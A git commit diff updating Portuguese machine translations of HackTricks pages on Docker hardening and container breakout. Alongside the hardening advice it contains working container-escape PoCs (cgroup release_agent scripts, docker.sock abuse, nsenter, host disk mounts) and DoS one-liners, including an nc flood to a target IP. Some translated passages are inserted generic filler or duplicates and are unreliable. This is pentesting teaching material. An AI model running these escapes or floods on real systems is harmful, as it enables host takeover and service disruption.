mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 13:43:24 +00:00
Translated ['linux-hardening/privilege-escalation/docker-security/README
This commit is contained in:
parent
a68abe83a8
commit
390fa9b63d
2 changed files with 162 additions and 435 deletions
|
@ -22,7 +22,7 @@ Acesse hoje mesmo:
|
|||
|
||||
## **Segurança básica do Docker Engine**
|
||||
|
||||
O Docker Engine realiza o trabalho pesado de executar e gerenciar contêineres. O Docker Engine usa recursos do kernel Linux, como **Namespaces** e **Cgroups**, para fornecer isolamento básico entre os contêineres. Ele também usa recursos como **redução de capacidades**, **Seccomp** e **SELinux/AppArmor para obter um melhor isolamento**.
|
||||
O Docker Engine realiza o trabalho pesado de executar e gerenciar contêineres. O Docker Engine utiliza recursos do kernel Linux, como **Namespaces** e **Cgroups**, para fornecer isolamento básico entre os contêineres. Ele também utiliza recursos como **redução de capacidades**, **Seccomp** e **SELinux/AppArmor para obter um melhor isolamento**.
|
||||
|
||||
Por fim, um **plugin de autenticação** pode ser usado para **limitar as ações** que os usuários podem executar.
|
||||
|
||||
|
@ -77,6 +77,10 @@ Note that we do not currently have vulnerability data for your image.
|
|||
```bash
|
||||
trivy -q -f json <ontainer_name>:<tag>
|
||||
```
|
||||
* [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
|
||||
```bash
|
||||
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
|
||||
```
|
||||
* [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
|
||||
```bash
|
||||
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
||||
|
@ -206,7 +210,7 @@ Para mais informações, consulte:
|
|||
|
||||
### Capacidades
|
||||
|
||||
As capacidades permitem um **controle mais preciso das capacidades que podem ser permitidas** para o usuário root. O Docker utiliza o recurso de capacidades do kernel Linux para **limitar as operações que podem ser realizadas dentro de um contêiner**, independentemente do tipo de usuário.
|
||||
As capacidades permitem um **controle mais preciso das capacidades que podem ser permitidas** para o usuário root. O Docker utiliza o recurso de capacidade do kernel do Linux para **limitar as operações que podem ser realizadas dentro de um contêiner**, independentemente do tipo de usuário.
|
||||
|
||||
Quando um contêiner Docker é executado, o **processo descarta as capacidades sensíveis que o processo poderia usar para escapar do isolamento**. Isso tenta garantir que o processo não seja capaz de realizar ações sensíveis e escapar:
|
||||
|
||||
|
@ -224,7 +228,7 @@ Este é um recurso de segurança que permite ao Docker **limitar as syscalls** q
|
|||
|
||||
### AppArmor no Docker
|
||||
|
||||
O **AppArmor** é um aprimoramento do kernel para confinar **contêineres** a um **conjunto limitado de recursos** com **perfis por programa**:
|
||||
**AppArmor** é um aprimoramento do kernel para confinar **contêineres** a um **conjunto limitado de recursos** com **perfis por programa**:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -242,17 +246,39 @@ Os motores de contêiner lançam **processos de contêiner com um único rótulo
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
Um plugin de autorização **aprova** ou **negam** **solicitações** ao daemon Docker com base no contexto atual de **autenticação** e no contexto de **comando**. O contexto de **autenticação** contém todos os **detalhes do usuário** e o **método de autenticação**. O contexto de **comando** contém todos os dados relevantes da **solicitação**.
|
||||
Um plugin de autorização **aprova** ou **negam** **solicitações** ao **daemon** do Docker com base no contexto atual de **autenticação** e no contexto de **comando**. O contexto de **autenticação** contém todos os **detalhes do usuário** e o **método de autenticação**. O contexto de **comando** contém todos os dados relevantes da **solicitação**.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## DoS a partir de um contêiner
|
||||
|
||||
Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido pode realizar um ataque de negação de serviço (DoS) no host onde está sendo executado.
|
||||
|
||||
* DoS de CPU
|
||||
```bash
|
||||
# stress-ng
|
||||
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
|
||||
|
||||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
* **Bandwidth DoS**
|
||||
|
||||
Um ataque de negação de serviço (DoS) de largura de banda é um tipo de ataque cibernético que tem como objetivo sobrecarregar a largura de banda de um sistema alvo, tornando-o inacessível para usuários legítimos. Esse tipo de ataque pode ser realizado por meio do envio de uma grande quantidade de tráfego malicioso para o sistema alvo, consumindo toda a largura de banda disponível e impedindo que outros usuários se conectem ou acessem os recursos do sistema.
|
||||
|
||||
Existem várias técnicas que podem ser usadas para realizar um ataque de negação de serviço de largura de banda, incluindo o uso de botnets, amplificação de tráfego e ataques de inundação. É importante que os administradores de sistemas implementem medidas de segurança adequadas, como firewalls e sistemas de detecção de intrusões, para mitigar os riscos desse tipo de ataque.
|
||||
|
||||
Além disso, é essencial que os usuários mantenham seus sistemas atualizados com as últimas correções de segurança e adotem boas práticas de segurança, como o uso de senhas fortes e a autenticação em dois fatores, para reduzir a probabilidade de serem vítimas de um ataque de negação de serviço de largura de banda.
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Interessantes Flags do Docker
|
||||
|
||||
### --privileged flag
|
||||
### Flag --privileged
|
||||
|
||||
Na página a seguir, você pode aprender **o que a flag `--privileged` implica**:
|
||||
Na página a seguir, você pode aprender **o que implica a flag `--privileged`**:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
|
@ -262,13 +288,17 @@ Na página a seguir, você pode aprender **o que a flag `--privileged` implica**
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Se você estiver executando um contêiner onde um invasor consegue obter acesso como um usuário de baixo privilégio. Se você tiver um **binário suid mal configurado**, o invasor pode abusar dele e **elevar privilégios dentro** do contêiner. O que pode permitir que ele escape dele.
|
||||
Se você estiver executando um contêiner onde um invasor consegue acessar como um usuário de baixo privilégio. Se você tiver um **binário suid mal configurado**, o invasor pode abusar dela e **elevar privilégios dentro** do contêiner. O que pode permitir que ele escape dele.
|
||||
|
||||
Executar o contêiner com a opção **`no-new-privileges`** habilitada irá **prevenir esse tipo de elevação de privilégios**.
|
||||
Executar o contêiner com a opção **`no-new-privileges`** habilitada irá **prevenir esse tipo de escalonamento de privilégios**.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
#### Outros
|
||||
|
||||
The `docker-security` directory contains information and techniques related to securing Docker containers and preventing privilege escalation attacks. This section covers various security measures that can be implemented to enhance the security of Docker containers.
|
||||
|
||||
O diretório `docker-security` contém informações e técnicas relacionadas à segurança de contêineres Docker e à prevenção de ataques de escalonamento de privilégios. Esta seção aborda várias medidas de segurança que podem ser implementadas para aumentar a segurança dos contêineres Docker.
|
||||
```bash
|
||||
#You can manually add/drop capabilities with
|
||||
--cap-add
|
||||
|
@ -293,7 +323,7 @@ Primeiro de tudo, **não os coloque dentro da sua imagem!**
|
|||
|
||||
Além disso, **não use variáveis de ambiente** para suas informações sensíveis. Qualquer pessoa que possa executar `docker inspect` ou `exec` no contêiner pode encontrar seu segredo.
|
||||
|
||||
Volumes do Docker são melhores. Eles são a maneira recomendada de acessar suas informações sensíveis na documentação do Docker. Você pode **usar um volume como sistema de arquivos temporário mantido na memória**. Volumes removem o risco de `docker inspect` e de registro. No entanto, **usuários root ainda podem ver o segredo, assim como qualquer pessoa que possa `exec` no contêiner**.
|
||||
Os volumes do Docker são melhores. Eles são a maneira recomendada de acessar suas informações sensíveis na documentação do Docker. Você pode **usar um volume como sistema de arquivos temporário mantido na memória**. Os volumes removem o risco de `docker inspect` e de registro. No entanto, **usuários root ainda podem ver o segredo, assim como qualquer pessoa que possa `exec` no contêiner**.
|
||||
|
||||
Ainda **melhor do que volumes, use segredos do Docker**.
|
||||
|
||||
|
@ -312,9 +342,9 @@ Onde o seu arquivo especifica seus segredos como um par chave-valor.
|
|||
|
||||
Esses segredos são excluídos do cache de construção da imagem e da imagem final.
|
||||
|
||||
Se você precisa do seu **segredo em seu contêiner em execução**, e não apenas ao construir sua imagem, use **Docker Compose ou Kubernetes**.
|
||||
Se você precisa do seu **segredo em seu contêiner em execução**, e não apenas durante a construção da imagem, use **Docker Compose ou Kubernetes**.
|
||||
|
||||
Com o Docker Compose, adicione o par chave-valor dos segredos a um serviço e especifique o arquivo de segredo. Agradecimentos à resposta do [Stack Exchange](https://serverfault.com/a/936262/535325) pela dica de segredos do Docker Compose, da qual o exemplo abaixo é adaptado.
|
||||
Com o Docker Compose, adicione o par chave-valor dos segredos a um serviço e especifique o arquivo de segredo. A dica é do [Stack Exchange answer](https://serverfault.com/a/936262/535325) para a dica de segredos do Docker Compose que o exemplo abaixo é adaptado.
|
||||
|
||||
Exemplo `docker-compose.yml` com segredos:
|
||||
```yaml
|
||||
|
@ -355,14 +385,14 @@ Se você estiver usando [Kubernetes](https://kubernetes.io/docs/concepts/configu
|
|||
* [**Descarte todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas as necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de nenhuma capacidade e adicioná-las aumenta o escopo de um possível ataque.
|
||||
* [**Use a opção de segurança "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para impedir que processos obtenham mais privilégios, por exemplo, por meio de binários suid.
|
||||
* [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limites de recursos podem proteger a máquina contra ataques de negação de serviço.
|
||||
* **Ajuste os perfis de** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** para restringir as ações e chamadas de sistema disponíveis para o contêiner ao mínimo necessário.
|
||||
* **Ajuste** os perfis [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** para restringir as ações e chamadas de sistema disponíveis para o contêiner ao mínimo necessário.
|
||||
* **Use** [**imagens oficiais do Docker**](https://docs.docker.com/docker-hub/official\_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens com [backdoors](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Armazene também as chaves raiz e a frase secreta em um local seguro. O Docker tem planos para gerenciar chaves com o UCP.
|
||||
* **Reconstrua regularmente** suas imagens para **aplicar patches de segurança no host e nas imagens**.
|
||||
* Gerencie seus **segredos com sabedoria** para dificultar o acesso do atacante a eles.
|
||||
* Se você **expõe o daemon do Docker, use HTTPS** com autenticação de cliente e servidor.
|
||||
* No seu Dockerfile, **prefira COPY em vez de ADD**. ADD extrai automaticamente arquivos compactados e pode copiar arquivos de URLs. COPY não possui essas capacidades. Sempre que possível, evite usar ADD para não ficar suscetível a ataques por meio de URLs remotas e arquivos Zip.
|
||||
* Em seu Dockerfile, **prefira COPY em vez de ADD**. ADD extrai automaticamente arquivos compactados e pode copiar arquivos de URLs. COPY não possui essas capacidades. Sempre que possível, evite usar ADD para não ficar suscetível a ataques por meio de URLs remotas e arquivos Zip.
|
||||
* Tenha **contêineres separados para cada microsserviço**.
|
||||
* **Não coloque o ssh** dentro do contêiner, "docker exec" pode ser usado para fazer ssh para o contêiner.
|
||||
* **Não coloque o ssh** dentro do contêiner, "docker exec" pode ser usado para acessar o contêiner via ssh.
|
||||
* Tenha **imagens de contêiner menores**
|
||||
|
||||
## Fuga de Contêiner Docker / Escalação de Privilégios
|
||||
|
|
|
@ -4,11 +4,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,22 +16,22 @@
|
|||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Enumeração e Escapamento Automático
|
||||
## Enumeração e Escape Automáticos
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Também pode **enumerar contêineres**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta ferramenta é bastante **útil para enumerar o contêiner em que você está e até mesmo tentar escapar automaticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Ferramenta útil para obter os privilégios que o contêiner possui para encontrar maneiras de escapar dele
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Ferramenta para enumerar e escapar de contêineres
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Também pode **enumerar containers**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Essa ferramenta é bastante **útil para enumerar o container em que você está e até mesmo tentar escapar automaticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Ferramenta útil para obter os privilégios que o container possui para encontrar maneiras de escapar dele
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Ferramenta para enumerar e escapar de containers
|
||||
* [**grype**](https://github.com/anchore/grype): Obtenha as CVEs contidas no software instalado na imagem
|
||||
|
||||
## Escapamento do Socket do Docker Montado
|
||||
## Escape do Docker Socket Montado
|
||||
|
||||
Se de alguma forma você descobrir que o **socket do docker está montado** dentro do contêiner do docker, você poderá escapar dele.\
|
||||
Isso geralmente acontece em contêineres do docker que, por algum motivo, precisam se conectar ao daemon do docker para realizar ações.
|
||||
Se de alguma forma você descobrir que o **socket do docker está montado** dentro do container do docker, você poderá escapar dele.\
|
||||
Isso geralmente acontece em containers do docker que, por algum motivo, precisam se conectar ao daemon do docker para realizar ações.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
|
@ -55,10 +55,10 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
|||
Caso o **socket do docker esteja em um local inesperado**, você ainda pode se comunicar com ele usando o comando **`docker`** com o parâmetro **`-H unix:///caminho/para/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
O daemon do Docker também pode estar [ouvindo em uma porta (por padrão 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer sobre o socket Systemd `fd://`.
|
||||
O daemon do Docker também pode estar [ouvindo em uma porta (por padrão 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou, em sistemas baseados no Systemd, a comunicação com o daemon do Docker pode ocorrer através do socket do Systemd `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Além disso, preste atenção aos sockets de tempo de execução de outros tempos de execução de alto nível:
|
||||
Além disso, preste atenção nos sockets de tempo de execução de outras plataformas de alto nível:
|
||||
|
||||
* dockershim: `unix:///var/run/dockershim.sock`
|
||||
* containerd: `unix:///run/containerd/containerd.sock`
|
||||
|
@ -68,15 +68,15 @@ Além disso, preste atenção aos sockets de tempo de execução de outros tempo
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## Escape de Abuso de Capacidades
|
||||
## Escapando do Abuso de Capacidades
|
||||
|
||||
Você deve verificar as capacidades do contêiner, se ele tiver alguma das seguintes, poderá escapar dele: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Você deve verificar as capacidades do contêiner, se ele tiver alguma das seguintes, você pode ser capaz de escapar dele: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Você pode verificar as capacidades do contêiner atualmente usando as **ferramentas automáticas mencionadas anteriormente** ou:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
Na seguinte página você pode **aprender mais sobre as capacidades do Linux** e como abusar delas para escapar/escalar privilégios:
|
||||
Na seguinte página, você pode aprender mais sobre as **capacidades do Linux** e como abusá-las para escapar/elevar privilégios:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -96,7 +96,7 @@ Um container com privilégios pode ser criado com a flag `--privileged` ou desab
|
|||
* `--cgroupns=host`
|
||||
* `Montar /dev`
|
||||
|
||||
A flag `--privileged` introduz preocupações significativas de segurança, e o exploit depende de lançar um container docker com ela habilitada. Quando usando essa flag, containers têm acesso completo a todos os dispositivos e falta de restrições do seccomp, AppArmor e capacidades do Linux. Você pode **ler todos os efeitos de `--privileged`** nesta página:
|
||||
A flag `--privileged` introduz preocupações significativas de segurança, e a exploração depende de lançar um container docker com ela habilitada. Ao usar essa flag, os containers têm acesso total a todos os dispositivos e não possuem restrições do seccomp, AppArmor e das capacidades do Linux. Você pode **ler todos os efeitos de `--privileged`** nesta página:
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -104,7 +104,7 @@ A flag `--privileged` introduz preocupações significativas de segurança, e o
|
|||
|
||||
### Privileged + hostPID
|
||||
|
||||
Com essas permissões você pode simplesmente **mover para o namespace de um processo em execução no host como root** como o init (pid:1) apenas executando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
Com essas permissões, você pode simplesmente **mover-se para o namespace de um processo em execução no host como root**, como o init (pid:1), apenas executando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Teste isso em um container executando:
|
||||
```bash
|
||||
|
@ -112,15 +112,15 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
```
|
||||
### Privilégios
|
||||
|
||||
Apenas com a flag privileged você pode tentar **acessar o disco do host** ou tentar **escapar abusando do release\_agent ou de outros escapes**.
|
||||
Apenas com a flag de privilégio, você pode tentar **acessar o disco do host** ou tentar **escapar abusando do release\_agent ou de outros escapes**.
|
||||
|
||||
Teste as seguintes formas de bypass em um container executando:
|
||||
Teste as seguintes formas de contornar em um contêiner executando:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Montando Disco - Poc1
|
||||
|
||||
Contêineres do docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em um comando docker mal configurado onde a flag `--privileged` ou `--device=/dev/sda1` com letras maiúsculas é especificada, é possível obter privilégios para ver a unidade do host.
|
||||
Contêineres do Docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em um comando Docker mal configurado, onde a flag `--privileged` ou `--device=/dev/sda1` com caps é especificada, é possível obter privilégios para visualizar a unidade do host.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -133,7 +133,7 @@ E voilà! Agora você pode acessar o sistema de arquivos do host porque ele est
|
|||
|
||||
#### Montando Disco - Poc2
|
||||
|
||||
Dentro do contêiner, um invasor pode tentar obter acesso adicional ao sistema operacional subjacente do host por meio de um volume hostPath gravável criado pelo cluster. Abaixo estão algumas coisas comuns que você pode verificar dentro do contêiner para ver se está usando esse vetor de ataque:
|
||||
Dentro do contêiner, um invasor pode tentar obter acesso adicional ao sistema operacional do host subjacente por meio de um volume hostPath gravável criado pelo cluster. Abaixo estão algumas coisas comuns que você pode verificar dentro do contêiner para ver se você aproveita esse vetor de ataque:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -154,9 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Escapando de privilégios abusando do release\_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Fuga de privilégios abusando do release\_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="PoC inicial" %}
|
||||
{% code title="PoC Inicial" %}
|
||||
```bash
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
|
@ -228,7 +228,7 @@ chmod a+x /cmd
|
|||
|
||||
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
|
||||
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
|
||||
# The script on the host will execute after /bin/sh exits
|
||||
# The script on the host will execute after /bin/sh exits
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
|
||||
# Reads the output
|
||||
|
@ -244,7 +244,7 @@ Encontre uma **explicação da técnica** em:
|
|||
|
||||
#### Fuga de privilégios abusando do release\_agent sem conhecer o caminho relativo - PoC3
|
||||
|
||||
Nos exploits anteriores, o **caminho absoluto do contêiner dentro do sistema de arquivos do host é divulgado**. No entanto, nem sempre é o caso. Em casos em que você **não conhece o caminho absoluto do contêiner dentro do host**, você pode usar esta técnica:
|
||||
Nos exploits anteriores, o **caminho absoluto do contêiner dentro do sistema de arquivos do host é revelado**. No entanto, nem sempre é esse o caso. Em situações em que você **não conhece o caminho absoluto do contêiner dentro do host**, você pode usar esta técnica:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -287,20 +287,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
|||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
|
@ -308,7 +308,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
Executar o PoC dentro de um container privilegiado deve fornecer uma saída semelhante a:
|
||||
Executar o PoC dentro de um contêiner privilegiado deve fornecer uma saída semelhante a:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -336,33 +336,32 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Escapando de Privilégios Abusando de Montagens Sensíveis
|
||||
#### Fuga de privilégios abusando de montagens sensíveis
|
||||
|
||||
Existem vários arquivos que podem ser montados e que fornecem **informações sobre o host subjacente**. Alguns deles podem até indicar **algo a ser executado pelo host quando algo acontece** (o que permitirá que um invasor escape do contêiner).\
|
||||
O abuso desses arquivos pode permitir que:
|
||||
Existem vários arquivos que podem ser montados e fornecer informações sobre o host subjacente. Alguns deles podem até indicar algo a ser executado pelo host quando algo acontece (o que permitirá que um invasor escape do contêiner). A exploração desses arquivos pode permitir que:
|
||||
|
||||
* release\_agent (já abordado anteriormente)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* release_agent (já abordado anteriormente)
|
||||
* [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
|
||||
* [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
|
||||
* [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
No entanto, você pode encontrar **outros arquivos sensíveis** para verificar nesta página:
|
||||
No entanto, você pode encontrar outros arquivos sensíveis para verificar nesta página:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Montagens Arbitrárias
|
||||
### Montagens arbitrárias
|
||||
|
||||
Em várias ocasiões, você descobrirá que o **contêiner tem algum volume montado do host**. Se esse volume não foi configurado corretamente, você pode ser capaz de **acessar/modificar dados sensíveis**: ler segredos, alterar chaves autorizadas do ssh...
|
||||
Em várias ocasiões, você descobrirá que o contêiner possui algum volume montado do host. Se esse volume não estiver configurado corretamente, você poderá acessar/modificar dados sensíveis: ler segredos, alterar chaves autorizadas do SSH...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### Escalação de privilégios com 2 shells e montagem de host
|
||||
### Escalação de privilégios com 2 shells e montagem do host
|
||||
|
||||
Se você tem acesso como **root dentro de um container** que tem alguma pasta do host montada e você **escapou como um usuário não privilegiado para o host** e tem acesso de leitura sobre a pasta montada.\
|
||||
Você pode criar um **arquivo bash suid** na **pasta montada** dentro do **container** e **executá-lo a partir do host** para escalar privilégios.
|
||||
Se você tem acesso como **root dentro de um contêiner** que possui uma pasta do host montada e conseguiu **escapar como um usuário não privilegiado para o host** e tem acesso de leitura sobre a pasta montada.\
|
||||
